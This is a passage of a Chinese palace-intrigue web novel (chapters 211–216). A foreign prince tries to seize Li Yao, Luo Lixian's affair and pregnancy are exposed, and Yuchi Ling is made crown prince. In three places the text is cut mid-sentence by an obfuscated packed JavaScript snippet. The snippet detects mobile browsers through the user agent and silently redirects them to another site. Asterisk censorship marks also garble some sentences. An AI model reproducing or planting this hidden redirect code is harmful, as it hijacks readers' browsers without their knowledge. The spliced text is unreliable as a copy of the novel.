不怪她没把夜时舒当回事,主要是曾经的夜时舒给她的印象太深刻了。 回想当初,夜时舒满心满眼都是魏永淮时,对魏永淮身边的人都是极尽温柔顺服,生怕自己哪里做得不当被人嫌弃了。 后来夜时舒移情承王,就算性情大变,但给人的感觉也是她仗着承王的宠爱才有了变化。 所有人都只看到了她的变化以及和承王出双入对时的恩爱,却忽略了,承王和夜家都执掌着大邺国的兵权…… 她不得不承认,她这位四皇兄的确厉害,片刻功夫便能想出压胜对手的办法! 如果把夜时舒捏在手中…… 说直白点,就是不费一兵一卒便拿捏住夜家和承王的软肋,说此法能敌千军万马都不为过! “四皇兄是想我从夜时舒身上下手?”明白他的算计后,骆丽娴自嘲地摇了摇头,“我也想接近她从她身上讨些好处,可是我同魏永淮的事让她发现了,她与魏永淮退婚后便也把我也视作了死敌,别说我接近她了,就算离她三丈远,她也会对我充满防备心。” “难怪你也只能靠着男人过日子。”莫千骁说完,带着一脸鄙夷上了马车。 骆丽娴磨了磨牙。 之前她还有几分畏惧他,可他们达成合作后,她知道这个男人在大邺国极其需要她协助,所以她没理由再在他面前卑微胆怯。 她也上了马车。 待她在莫千骁对面坐下后,只听莫千骁说道,“我会拿几个人给你用,你让他们去查查有谁与夜时舒作对的,或者平日里不合的。如今你贵为北蔺国五公主,为了两国睦邻友好,也没人敢轻易得罪你。借着公主的身份,让那些人为你做事,如此应该不难吧?” 骆丽娴虽不喜欢他,但经他这么一提醒,也真是受教良多。 莫千骁眯着眼观察着她的反应,见她有认真思考,接着又道,“今日带你去紫琼山庄,我会让你出尽风头一雪前耻,只要你听我的话做事,往后即便没有男人,你也能独享荣华富贵。” “知道了。”骆丽娴垂下眸子。 既然答应做他的棋子,她肯定不会委屈自己的。 去紫琼山庄就是她主动提出来的。 那是有名销金窟,其中最烧银子的就是各类拍卖会,能出现在紫琼山庄拍卖会上的东西,无一不是价值连城的稀罕物。 她现在就要最贵最奢华的东西! …… 紫琼山庄。 晌午时分,夜时竣、顾思沫和夜时珽、离瑶正在房里用午膳。 四人吃着聊着,先是聊夜时竣和顾思沫大婚的事,对大邺国的婚庆典礼,离瑶表示很感兴趣,问了他们不少。 顾思沫突然问她,“瑶儿,九黎部落男女成亲有什么讲究吗?和我们大邺国比有什么不同?” 离瑶道,“差别可大了!我们那边男子娶妻,只需要满足心仪女子的条件,打下女子要求的猎物便能抱得美人归!” 闻言,顾思沫和夜家兄弟二人都很有兴致地看着她。 离瑶也不吊他们胃口,继续说道,“如果女子也喜欢男子,一般就要求野兔、野鸡这些小动物。如果女子瞧不上求婚的男子,便会要求凶猛的野兽作为聘礼,如此让求婚男子知难而退。” 顾思沫眨着眼问道,“你不是说北蔺国四皇子追求你吗?那你对他提要求没有?” 离瑶点头,“当然提了!就是因为他做不到,所以才恼怒要强抢我去做他女人!” “那你提的什么要求?”夜时竣好奇地问道。 “我说我想吃龙肉。” “……” 第212章 在下的聘金只是一只蚊子 三人听到她的回答,在短暂的目瞪口呆后,全都忍不住失笑。 特别是夜时竣笑得捧腹,“我说离瑶啊,我长这么大,除了佩服王爷外,再就是佩服你了,竟然用这样的方式拒绝男人,哈哈!” 离瑶瞥着他们三人,“有这么好笑吗?在我们那里,一点都不好笑!” “咳!”夜时竣立马收敛起笑声,然后故作一本正经地问她,“如果你喜欢的人要娶你,你会让他打什么猎物?” 说着话时,他眼神还暗戳戳地往自家大哥身上飘。 离瑶被他问得都没心情吃东西了,手肘杵在桌面上,手心托着腮,有气无力地说道,“如果是我喜欢的人,我可能会让他给我抓只蚊子。不过我还没想好要不要嫁人,毕竟嫁了人好麻烦的,特别是来了大邺国后,我就更不想嫁人了,这么广阔的河山,够我玩耍一辈子……不对,可能一辈子都玩不尽兴。” 夜时竣还想再说什么,顾思沫突然拿手肘撞了撞他。 他顺着媳妇的视线朝自家大哥看去,就见自家大哥俊脸绷得冷硬,低垂着眉眼只喝酒,一句话都不说。 他偷笑地抖了抖肩,止住话题,招呼道,“来来来,快吃,不然饭菜都凉了!” 离瑶正准备朝菜盘里伸手,就见一对男女进来,喜得她赶紧收回手,笑着招呼,“王爷、王妃,你们怎么来了?是想我们了吗?” 因为北蔺国四皇子要来紫琼山庄的事,一路上夜时舒都没怎么笑,心里跟猫抓似的。这会儿看到她脸蛋上热情的酒窝,不由地绽放笑颜。 “正吃着呢?那我们来得可太巧了!” 一张四方桌,夜时竣和顾思沫坐一方,离瑶和夜时珽各坐一方,夜时舒拉着尉迟凌坐到空出的一方。 顾思沫赶紧让人添上碗筷,又多添了几道菜。 屋子里气氛活跃,但夜时珽却沉着脸,夜时舒小声问他,“大哥,我今早让人传的口信你收到了吧?” “嗯。” “知道我们为何来吗?” “嗯?”夜时珽抬了抬眸子,“是不放心我们?” “不是!”夜时舒皱眉道,“那骆丽娴也不知道发哪门子神经,竟然要把那四皇子带来紫琼山庄玩!” 她这话一出,顾思沫他们的笑容全都僵化。 离瑶惊道,“北蔺国派四皇子来了?他还要来紫琼山庄?” “是,正在来的路上。” “那……那我该往哪里躲?” “躲什么躲?”夜时竣忍不住插声,不以为意地道,“他现在在我大邺国的地界上,他要敢胡来,便是为祸我大邺国安宁!” 顾思沫却说道,“这事我觉得还是王爷拿主意最好。” 夜时舒也赞同她的提议,随即看向尉迟凌,“王爷,那四皇子这次来,我瞧着他根本没带多少诚意。本来两国就有世仇,万一他知道离瑶同我们有关系,肯定会拿此事做文章。” 尉迟凌沉着脸道,“婚嫁不是强买强卖,他若在大邺国境地强抢我们的客人,便是挑衅之过,我大邺国岂能惯着他?” 大家听着他的话,心中都有了答案。 原本他们想的是把离瑶藏起来,多一事不如少一事,但这种举动反而让他们有种心虚之感。 那四皇子代表北蔺国真有诚意要和大邺国讲和,那天大的事都比不上两国和平。如果对方根本没有让两国交和的心思,即便他们光明磊落,大大方方地护着离瑶,对方也会找他们麻烦。 最坏的结果不就是两国兵戎相见吗? 都打了几十年仗了,他们还怕继续打下去? 离瑶突然起身,给在座的人一一倒上酒。 然后举杯说道,“承蒙大家庇护,我离瑶现无以为报,只能先敬大家一杯!以后我离瑶这条命是你们的,不管让我做什么,上刀山下火海我都在所不辞!” 夜时舒他们脸上都带着笑,陪她喝下。 正在这时,三水脚步匆匆进来,对尉迟凌说道,“王爷,有位自称姓莫的公子说认识您,在向庄里的人打听您。” “请他进来吧。”尉迟凌直接吩咐他。 “是。” 没多久,莫千骁带着骆丽娴出现在他们六人面前。 兄妹俩似是没想到这里如此多人,进门时都稍感意外地愣了一下。 然而,当看到男男女女中坐着一张熟悉的面孔时,莫千骁的脸一下子黑沉到底,目如利剑地瞪着她,咬着牙道,“离瑶,你竟躲在此处,可真叫本皇子好找!” 离瑶嫌弃地冲他翻了个白眼,“我要去哪关你什么事?” “来人!”莫千骁冷声朝身后喝道,“把她拿下!” 他话音一落,立马有两名手下进到房里,直奔离瑶而去—— 夜家兄妹三人加上顾思沫瞬间起身,默契地将离瑶挡在身后。 夜时舒甚是迎上前,冷笑地冲莫千骁说道,“四皇子,这里是大邺国,不是九黎部落,也不是北蔺国,还请你自重。” 莫千骁眸光阴鸷地瞪着他们,“离瑶是我未过门的女人,本皇子抓自己的女人,犯了大邺国哪条律令?” 夜时舒正要怼人,但身后突然传来自家大哥嘲讽的嗓音,“听闻四皇子迎娶离瑶的聘金是龙肉,四皇子这是打着巨龙了?” “你……”莫千骁敛紧双目,凌厉地打量着他,“你是何人?怎会知道我迎娶她的代价?” 夜时珽莞尔地勾起唇角,突然将离瑶拉到自己身侧,当众搂住她的肩,掷地有声地道,“在下姓夜,名时珽。顺便再同四皇子介绍一下,离瑶,是在下未过门的妻子。” 莫千骁脸色阴冷,拳头都捏紧了,或许是为了证明自己不是输家,他强忍着怒火嘲讽地反问道,“本皇子没打着龙肉,难道你打着了?” 夜时珽看了一眼身侧耳根通红的女人,再抬眼迎视着莫千骁的怒火和妒火,轻笑道,“在下与四皇子的聘金不同,在下的聘金只是一只蚊子。” 第213章 让他们别再做偷偷摸摸的苦命鸳鸯了 噗! 夜时竣没忍住,直接喷笑。 莫千骁本就因为夜时珽的话而难堪,听到他这放肆的笑声,双目中杀气都释放出来了,阴戾无比地瞪着夜时竣。 “你是何人?敢在本皇子面前放肆!” “妹夫!”夜时竣被他这一瞪,仿佛吓到了,立马跑到尉迟凌身侧叫唤,“有人凶我,好厉害啊!” 尉迟凌嘴角狠狠一抽。 要不怎么说这二舅哥是个人才呢! 一个又高又壮的大男人委屈得跟个小媳妇似的,他不怕别人笑话,也不管旁人是否看得眼疼! 特别是他那一声‘妹夫’,让夜时舒、夜时珽、顾思沫都哭笑不得。 顾思沫刚想上前去把他扯开,就见尉迟凌从座而起,把与自己身高相仿的二舅哥挡在身后。 “四皇子,离瑶是我们的客人,你说她是你的女人,不知你有何证据?” “承王,这是本皇子和她的私事,用不着你管!”再瞎的人也看得出他的袒护,故而莫千骁并没有对他改变脸色,同样视若仇敌地瞪着他。 “既是你的私事,那就请四皇子回北蔺国再处理。这里是大邺国,不是你好胜斗气的地方!”论气势,尉迟凌寒着脸,丝毫不逊他半分,甚至在冷冽的言语中,更压他一头。 “四皇兄,有什么话好好说,别伤了大家的和气。”骆丽娴上前,温柔地扮作和事佬。 “哼!”莫千骁再次把目光投向离瑶,咬着牙道,“本皇子说过,即便你逃到天涯海角,本皇子也不会放过你!别以为你找了靠山本皇子就不敢把你怎样,有种你就一辈子跟着他们,千万别让本皇子找到机会,否则本皇子一定会弄死你!” 说完,他愤怒甩袖,带着一身戾气离去。 骆丽娴赶紧招呼他的手下撤退,然后追了出去。 屋子里安静下来。 看着一张张为了自己而严肃沉着的脸庞,离瑶感动得红了眼眶,她突然对夜时舒说道,“王妃,送我去别的地方吧!那莫千骁是出了名的阴险毒辣,现在让他误会我和大公子有婚约,他肯定会想方设法对付大公子的!” 夜时舒朝自家大哥看去。 夜时珽低沉道,“你不用多虑,他是北蔺国皇子,就算没有你,我们与他也不会和睦相处。”随即他朝尉迟凌看去,“王爷,你说是吧?” 尉迟凌没正面回他,只勾着唇别有深意地道,“今日先应付着,明日之后,两位舅哥也别总想着闲玩了,有些事必须提前准备。” 看着两位兄长冷肃又坚定的眼神,夜时舒不用细问都能猜到尉迟凌话中的意思。 要备战了…… 当然,这种大事是不可能在外面商谈的。 特别是她两位兄长,更是聪明人,对此都默契地终止了话题。 “时竣,听说今日有珠宝拍卖,要不我们也去凑凑热闹?”顾思沫突然提议。 “好。”夜时竣搂着她就往外走,边走边笑说道,“要是有喜欢的,随便买,银子不够就回去找爹要。” “多大的人了,还找爹要银子,你是要当败家子么?”顾思沫忍不住对他翻白眼。 “王爷,我们也去吧。”他俩一走,夜时舒也赶紧给尉迟凌使眼色,拉着他离开。 屋子里就剩下夜时珽和离瑶。 夜时珽没看出他们的用意,也准备抬脚跟上。 “大公子。” 听到离瑶唤他,他扭头看去,“嗯?” 离瑶两手抓着衣角,红着脸说道,“谢谢你替我解围,但我知道你不是真的要娶我。我可以向你保证,等莫千骁一离开大邺国,我就离开,到时你对外宣称我死了,这样就不会影响你娶别人了。” 夜时珽俊脸绷紧,眸光紧紧凝视着她的脸。 但他没说一句话。 离瑶被他看得头皮发麻,仰着头问他,“怎么了?是我哪里说错了吗?” 夜时珽不自然地抿了抿薄唇,低沉道,“再说吧。” 丢下简短的三个字,他便径直朝门口去。 离瑶望着他挺拔的后背,总感觉凉意森森。 重点的,她没听懂他的意思。 再说吧…… 再说什么? 什么时候再说? “愣着作甚?还不赶紧跟上!”夜时珽停在门口,侧目睨向她,冷硬地斥道。 …… 拍卖会是紫琼山庄最热闹的项目,每次场馆里都座无虚席。 之前夜时舒他们来过,不过都是带着看热闹的心态来的。 这次也一样。 只不过在尉迟凌的安排下,夜时舒这次是在一处隐蔽的阁楼上,可以俯视整个场馆,包括馆中每个人的一举一动,都能尽收眼中。 馆中,莫千骁和骆丽娴坐在为首正中的位置,两人身侧各站着一名手下。二人虽然挨得近,可从头到尾都没有一句交流。 夜时竣和顾思沫就坐在他们身后。 整场拍卖会下来,骆丽娴一共拍下了十二件货品,所有竞价高达七八万两银子。 其中有好几件货品夜时竣也有出价竞争,但不论他如何加价,骆丽娴都会毫不犹豫地再加价,直到无人再加价为止。 “这有了身份果然不一样了!”夜时舒冷笑地道。 “你就不觉得哪里奇怪吗?”在她身侧陪她看热闹的尉迟凌突然问她。 “哪里奇怪?”夜时舒美目微眯,眸光更是在莫千骁和骆丽娴的后脑勺上不停来回,突然笑说道,“你要不提我还真没注意,他们俩确实让人看着怪异。说是兄妹吧,可他们之间的举动完全不亲。就算自小分别,但到底是手足情深,没道理连句话都不说。说不亲吧,莫千骁又肯为骆丽娴花这么庞大的银子,好像洛溪想要一切他都会满足。” 拍卖会结束,骆丽娴并没有跟着莫千骁离开,而是低调地走了另一侧出口。 夜时舒回头对三水说道,“派人盯着骆丽娴,看看她要做什么?” “是。” 没多久,三水回来,禀道,“王妃,魏永淮来了,在云水涧丁字房,骆丽娴正去见他。” 夜时舒轻‘呵’。 这对‘鸳鸯’,到现在都没分,当真是情真意切。 “王爷,我们能喜结连理,说起来都是魏永淮和骆丽娴的功劳,要不我们送他们一场‘圆满’吧,让他们别再做偷偷摸摸的苦命鸳鸯了。” 第214章 **暴露 尉迟凌突然将她拥进怀中,淡淡地哼了一声,“你当他们是月老,本王却只当他是情敌。也不知道是谁,对着别人‘淮哥哥’长‘淮哥哥’短的叫唤,对自己的夫君却是从未如此亲昵过。” 夜时舒瞬间头皮发麻,没想到他会突然‘翻旧账’,甚至计较称呼的问题。 天知道,她都恨**自己以前的眼盲心瞎,而他还为她的眼盲心瞎打翻醋坛子,特别是还有旁人在的情况下…… 她尴尬地朝三水瞥了一眼。 三水低着头转过身去。 她这才踮起脚勾住他的脖子,在他紧抿的薄唇上印上一吻,嗔笑道,“那我以后叫你阿凌、凌哥哥、夫君……你喜欢听什么我就叫什么!” “都喜欢。”尉迟凌一改方才的醋酸味,唇角飞扬。 “好了,先把这里的事解决了,回去再让你听个够。”夜时舒红着脸推了推他,示意他旁边还有人呢。 尉迟凌这才放开她,俊脸又恢复了沉冷,“三水,方才御史大人的长公子可是在楼下?” 三水转回身,躬身回道,“回王爷,陈大公子方才的确在拍卖馆中。” “御史大人每年**的官员不少,其中少不得他这长子的功劳。此人最喜八卦之事,你想个办法把他引去魏永淮和骆丽娴房中。” “是。”三水笑着应下。 …… 自尉迟睿做了废太子被打入死牢后,魏永淮便没再见过骆丽娴。 他一直暗中打听着北翟国使节的消息,得知骆丽娴今日被放出宫去与北蔺国四皇子相认,他立马就赶去了驿馆。 只是到了驿馆,他又听说骆丽娴和四皇子来了紫琼山庄,于是又追赶到此。 而相较于往日翻云覆雨的亲密,今日两人再见面,非但没有‘一日不见如隔三秋’的热情,骆丽娴的神色还反常地充满了疏离和冷漠。 “魏公子怎么来了?找我所为何事啊?” “娴儿,你近来被软禁在宫中过得可好?有没有受委屈?”魏永淮握住她双肩,一脸关切,“听说你出宫了,我担心你,第一时间便来找你!你都不知道,这些日子我有多想你!” 说完他低下头就要亲吻。 骆丽娴仿佛早有预料,快速地偏开头,并将他推开。 “娴儿……” “魏公子,我四皇兄就在山庄里,你也知道他的身份,如果现在让他知道我们的关系,他一定会动怒的。” “你、你是不是做了北蔺国公主就瞧不上我了?”魏永淮双目不由得瞪大,特别是听到她一声又一声的‘魏公子’时,他脸色肉眼可见地泛起青色,“你跟夜时舒一样攀权附势,以为有了靠山就想把我抛弃掉?” 面对他怒不可遏的模样,仿佛要**似的,骆丽娴心下不由得紧张起来。 没错,她是不想再跟这个男人继续下去了! 她现在不但是北蔺国的五公主,莫千骁还答应会给她泼天的财富。以前她迎合魏永淮,与他无媒苟合,那是因为她把这个男人当成了退路。 可她没想到尉迟睿会发生那样的变故,一夜之间从贵不可言的太子变成了人人嫌恶的阶下囚。尉迟睿的失势,也让本就没什么根基的魏家跟着败落,而一事无成的魏永淮更像小丑般,根本指望不了任何! 这些日子,她被软禁在宫中,想了许多许多…… 只是,眼前的魏永淮还是让她忌惮的,毕竟他们的事见不得光,她现在还不能彻底与他翻脸。 “淮哥哥,你能不能听我把话说完?”她转瞬露出一副愁苦模样,又换回了以前亲昵无比的称呼,并主动拉住魏永淮的手,把他带去墙角,还小心翼翼地朝房门看了一眼,然后才继续说道,“你没见过我那个四皇兄,他可严厉了。一来就教导我规矩,说我现在身份不同了,绝不允许我再做有损北蔺国颜面之事。我方才疏离你,只是担心他派人跟着我,然后发现我们俩的关系。” “是吗?”魏永淮也朝房门看了一眼,然后目光幽沉地看着她,“你确定不是要与我划清界限?” “淮哥哥……”骆丽娴扑进他怀里,嘤嘤泣道,“我怎么可能与你划清界限?我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292036|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈子就你一个男人,最宠我的人也只有你,不论我是不是北蔺国公主,这辈子我都不会与你分开的。只是这个公主的身份太特殊了,尉迟睿对我们的关系可以睁只眼闭只眼,但我四皇兄他不能啊。他要是知道我跟你的关系,他肯定会拆散我们的。为了我们的将来,你能委屈一段时日吗?” 魏永淮当然不同意! 这大邺国他是一刻都待不下去了…… 他等了这么些日子,要的就是与她有个结果,然后自己作为北蔺国驸马随她一起去北蔺国! 现在不让北蔺国四皇子知道他的存在,那他如何扬眉吐气? “娴儿,尉迟睿已经完了,你有北蔺国撑腰,可随时摆脱太子良娣的身份。我现在只想名正言顺的和你在一起,做北蔺国的驸马,你可愿意?” “啊?”骆丽娴抬起头,惊愕地看着他。 正在这时,房门‘砰’的一声被人撞开—— 只见一瘦高男子带着一群人急吼吼地闯了进来! 正相拥在一起的二人吓得同时颤抖。 特别是看清楚对方是谁后,魏永淮转身怒吼道,“陈湛,谁让你进来的?” 叫陈湛的男人,御史陈正康的长子。 被熟人撞见自己见不得光的一面,魏永淮如何能不羞怒? “魏公子,怎么是你啊?”陈湛一双眼睛滴溜溜地在他们身上转着,突然‘啊’地怪叫起来,“这、这不是太子良娣吗?你们怎么在这里?还抱在一起?!” 他身后的一群人顿时哗然了,纷纷交头议论起来—— “听说这里有**,没想到竟是太子良娣和魏家公子!” “太子良娣不是魏家的养女吗?她和自己的兄长偷情,这不是有违伦常吗?太不要脸了!” “听说太子良娣还是北蔺国的公主,这一国公主怎如此廉不知耻?” 在一众充满嘲讽的议论声中,突然响起一道怒喝声,“让开!全都让开!” 人群立马朝两边分散。 看着进来的男人,在魏永淮身侧的骆丽娴脸色瞬间大失血。 第215章 怀有两月身孕 “四皇兄……” “你们在做什么?”莫千骁背着手走到屋中央,瞪着他们的目光比利剑还锋利。 骆丽娴赶紧推开魏永淮,低着头到他面前,一边介绍一边解释,“这是我义兄永淮,我在大邺国京城的日子多亏了他照料。今日听说我出来了,他不放心我,特意赶来紫琼山庄看我。方才他胃疾犯了,我正想扶他去休息,不曾想突然间闯进来如此多人。” “是吗?”莫千骁冷哼。 一旁看热闹的陈湛惊呼道,“原来魏公子是胃疾犯了啊?我还以为你们抱在一起……抱歉啊魏公子,是我等误会了!”他也不看魏永淮的脸色,好心的朝人群喊道,“魏公子胃疾犯了,你们有谁懂医术的,快给魏公子瞧瞧!这可是大理寺少卿家的公子,更是北蔺国公主的义兄,可千万别出任何闪失啊!” 如果可以,魏永淮恨不得当场撕了他! 他忍着吐血的冲动,咬着牙朝陈湛怒道,“陈公子,你带如此多人闯入我房中,究竟意欲何为?这雅室是我付了银子租下的,还请你立即出去!” 许是知道自己擅闯别人的地盘理亏,陈湛干笑了一声,招呼人群,“好了好了,误会一场,大家都散了吧。” 人群虽然散了,可是他们离开时那暧昧的眼神以及窃窃的低语,还是让骆丽娴难堪得想找地缝钻进去。 魏永淮同样羞愤难堪。 因为他知道陈湛在京城的影响,今日被陈湛撞见了他与骆丽娴亲密的举动,还不知道那厮会如何传谣…… 但眼下,再多的难堪也不及应对面前的男人。 他随即朝莫千骁拱手行礼,“在下魏永淮,拜见四皇子殿下。” 莫千骁只给了他一个轻蔑的眼神,连开口的意思都没有。在人群散去后,他示意手下退出去,在门外把风。 当着魏永淮的面,他扬手就给了骆丽娴一巴掌—— ‘啪’! 清脆的响声打偏了骆丽娴的头,也把魏永淮惊得狠狠颤栗。 不给他们开口的机会,莫千骁便指着骆丽娴,冷声斥道,“本皇子要用的是你良娣的身份,你同他传出有染的消息,是想让尉迟家休了你,好让本皇子这一趟白来?” 骆丽娴捂着脸,流着泪解释,“四皇兄,我和淮哥哥只是兄妹之情,不是你想的那样!” 她当然知道自己为何有利用价值,就是因为她是尉迟睿的良娣,哪怕尉迟睿没了太子之位,她依然是尉迟家的女人,凭借这一点,她就可以帮助北蔺国的人接触尉迟家的人。 如果没了这个利用价值,别说莫千骁不会再给她财物,就是认都不会认她这个妹妹! 莫千骁目光如剑的在她和魏永淮身上来回扫视,冷冽的嗓音里充满了警告,“我不管你们是何关系,如果坏了本皇子的好事,本皇子绝对要你们死得很难看!” “四皇兄……”骆丽娴刚想表态让他放心,突然身子不受控制地晃起来,紧接着双眼一闭便朝地上倒去。 “娴儿!”魏永淮夺步将她拦腰抱住。 莫千骁紧敛双目,审视地盯着骆丽娴,见其并不像是装的,随即将门外的手下唤了进来。 “蓝宏,给她看看!” “是!” 其中一名手下上前,从魏永淮怀中抓起骆丽娴的手腕。 把脉过后,他向莫千骁回道,“禀四皇子,五公主已怀有两月身孕。只是气血不足,加之心悸过度,才导致昏厥。” 两月身孕? 魏永淮一听,心下大喜。 莫千骁脸色阴沉地瞪着他,特别是捕捉到他眼中的兴奋时,忍不住再冷声警告,“姓魏的,本皇子好心提醒你,她肚子里的孩子只能是尉迟睿的,你若敢乱说半个字,本皇子绝对不会让你多活一刻钟!” “……是。”魏永淮低着头应道,“永淮知道该如何做。” 他要的不是骆丽娴这个女人,他要的是骆丽娴能给他带来的利益! 如今骆丽娴再次成功怀孕,不管这个孩子名义上是谁的,骆丽娴都休想再摆脱他!只要这个孩子安稳诞下,那他的退路就彻彻底底地稳了! 莫千骁随即又吩咐手下,“送五公主回宫,将五公主有孕的消息如实告知大邺国皇帝。” “是。” …… 阁楼上。 陈湛**完后起身说道,“王爷,卑职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295380|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带人闯进去时他们只抱在一起还未成事,但凭这点怕是惊不起多大风波。” 尉迟凌低沉道,“无妨,本王也没想现在要他们的命,你只需安排人如实散播便可。” 陈湛还想再说什么,三水突然进来,急声禀道,“王爷,骆丽娴被北蔺国的人查出已怀有两月身孕!” “来得真及时!”尉迟凌不觉意外,反而意味深长地扬起唇角。 “两个月身孕?”夜时舒偏着头思考了片刻,“难道是他们在济州城有的?那这下就有好戏看了!” 陈湛一脸不可思议地道,“王爷、王妃,如果骆良娣腹中的孩子是魏永淮的,那她岂不是混淆皇室血脉?” 尉迟凌道,“你只管散播今日看到的便可,其他的本王自有主张。” “是。”陈湛躬身应道。这事,已经不是通奸不通奸的丑闻了。别说他不敢妄议,就算他爹来,也不敢妄加评判。 “莫千骁回城了吗?”尉迟凌问三水。 “回王爷,他已离开了山庄。”三水回道。 “嗯。”尉迟凌朝夜时舒伸手,“该回宫看热闹了。” 夜时舒从椅子上起身,把手递给他,然后对三水说道,“三水,麻烦你去叫一下我大哥他们,玩了好几日了,该回府了。” “是。” …… 听说骆丽娴怀了身孕,尉迟晟非但没惊喜,反而狠狠地皱起眉,问齐绥,“确定她真有身孕了?” 齐绥道,“回皇上,骆良娣一回宫,陆院使便去为她诊了脉,确定无疑。” 尉迟晟龙颜沉冷,在龙椅上久坐无语。 骆丽娴这一胎来得真不是时候! 说实话,他不愿自己的长孙由废太子的女人生下! 可骆丽娴现在是北蔺国五公主,除非北蔺国主动把骆丽娴接回去,否则他也不好让骆丽娴和废太子解除婚约,更不能轻易打掉她腹中孩子…… 本来他就为处置废太子的事心烦,现在骆丽娴又怀了身孕,以当下的情况来看,他还能继续关押废太子吗? “齐绥。” “皇上,老奴在。” “承王今日没进宫,去哪了?叫他来见朕!” 第216章 入住东宫 齐绥领命。 刚出御书房就见尉迟凌和夜时舒朝这边来,他惊喜地忙喊道,“王爷、王妃,老奴正要去找你们呢!” 夫妻俩进了御书房。 尉迟晟瞧着儿子那闲庭信步的姿态,没好气地道,“让你去接待使节,你接待到哪去了?口信、口信没有,人、人不见影,你就不能替朕多上点心?” 尉迟凌唇角微扬,“若父皇实在忙不过来,可把尉迟睿放出来替您分忧。” “你说的这是什么话?”尉迟晟刷地黑了脸。 “诚挚之言。” “你!” 眼见他龙颜染怒,夜时舒赶紧扯了扯尉迟凌衣袖。 尉迟凌这才收起调侃之色,正色道,“父皇,骆丽娴怀有身孕的事儿臣已知晓,眼下正值北蔺国使节到访之际,那北蔺国四皇子与骆丽娴兄妹相认,父皇总不能让堂堂一国公主成为‘活寡妇’吧?” 尉迟晟仔细地观察儿子神情,还真没看出他有开玩笑的痕迹,于是他又朝夜时舒看去,“舒儿,你可赞同凌儿的想法?” 夜时舒心下有点哭笑不得。 就算要试探儿子的心思也不该问她啊! 不过她还是温顺地点头,“父皇,王爷以大局为重,儿媳自是支持他的想法。” 尉迟晟沉着脸皱着眉,沉思了良久后吩咐齐绥,“宣礼部尚书!” “是!” 翌日—— 早朝上,尉迟晟当众宣旨,立嫡长子尉迟凌为太子,夜时舒为太子妃。 皇子调换一事乃慕容澜所为,尉迟睿虽为慕容澜之子,念及其幼小无知,暂赦免其死罪。因其与北蔺国公主联姻,为使两国和睦往来,特封其为梁王,封骆丽娴为梁王妃,祝华凝为梁王侧妃。 对于尉迟凌被立为太子一事,文武百官并不意外。毕竟这些日子以来,帝王的态度摆得明明白白,谁敢有异议,那是真的找死。何况尉迟凌身份已查实,闵皇后所出的嫡长子,即便再有人不服也只能憋着。 而尉迟睿被赦免,还赐了封号,这也极大程度地安抚了这些人的心。 故而圣旨颁下后,金銮殿上难得一片祥和,异口同声齐呼‘万岁’。 当然,这祥和气氛背后也有人难堪的。 那便是丞相祝志顺! 女儿从太子正妃被贬为亲王侧妃,这何止是羞辱,简直就是被人扒光了当众剥他的皮、剔他的骨,硬让他一国丞相变成全天下人的笑话! …… 承王府。 女儿女婿要搬去东宫,夜庚新放心不下,便带着九姑来帮他们收拾东西。 说是帮着搬家,但他一来却把女儿女婿叫去了书房。 “我本以为废太子再无翻身可能,没想到他竟被皇上册封为王,你们心中就一点都不着急吗?” 尉迟凌勾了勾唇,道,“岳父大人无需担忧,册封尉迟睿为梁王是我的意思。” 闻言,夜庚新双眼一瞪,“你的意思?你怎么能对他心慈仁厚呢?你难道忘了,他和澜贵妃那些年是如何待你的?何况你还把澜贵妃尸首扔去了乱葬岗,如果梁王再得势,他岂会放过你们?” 夜时舒见他火气旺,赶忙递了茶水给他,笑着安慰,“爹,我们这么做自然有我们的用意。你先别急,听我们把话说完行吗?” “那你说说,你们想做什么?”夜庚新没好气地瞪着女儿。 夜时舒扭头朝尉迟凌看去,“我去帮着九姑收拾东西,你同我爹好好聊。” 尉迟凌点了点头。 夜时舒走出书房,吩咐文岩和文墨看好房门,不许任何人靠近。 至于翁婿二人聊什么,除了她知道外,没任何人知晓。 而他们这一聊,聊了将近两个时辰。 夜庚新从书房出来后,便直接离开了承王府赶去了望秋山营地。 在册封后的第三天,尉迟凌和夜时舒正式搬进了东宫。 如今的东宫焕然一新,夜时舒虽然不清楚东宫以前的全貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301123|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但现在随处可见的都是新物,就连花园里都是翻新过的泥土,花草树木一看就是新栽种的。 夜时舒正带着春柳、夏花、秋菊、冬雪四丫鬟熟悉地形,一小太监匆匆来报,“启禀太子妃,妍妃娘娘来了。” “快请。” 夜时舒吩咐完,便带着人朝大门迎去。 以前后宫是慕容澜掌权,慕容澜**后,尉迟晟便将统理后宫的权利交给了这位身怀有孕的妍妃。 妍妃年纪比夜时舒大不了几岁,如今肚子已经显怀,身子比常人笨重,但举手投足间都是温柔典雅的气韵。 “妍妃娘娘,你怎么亲自来了?” 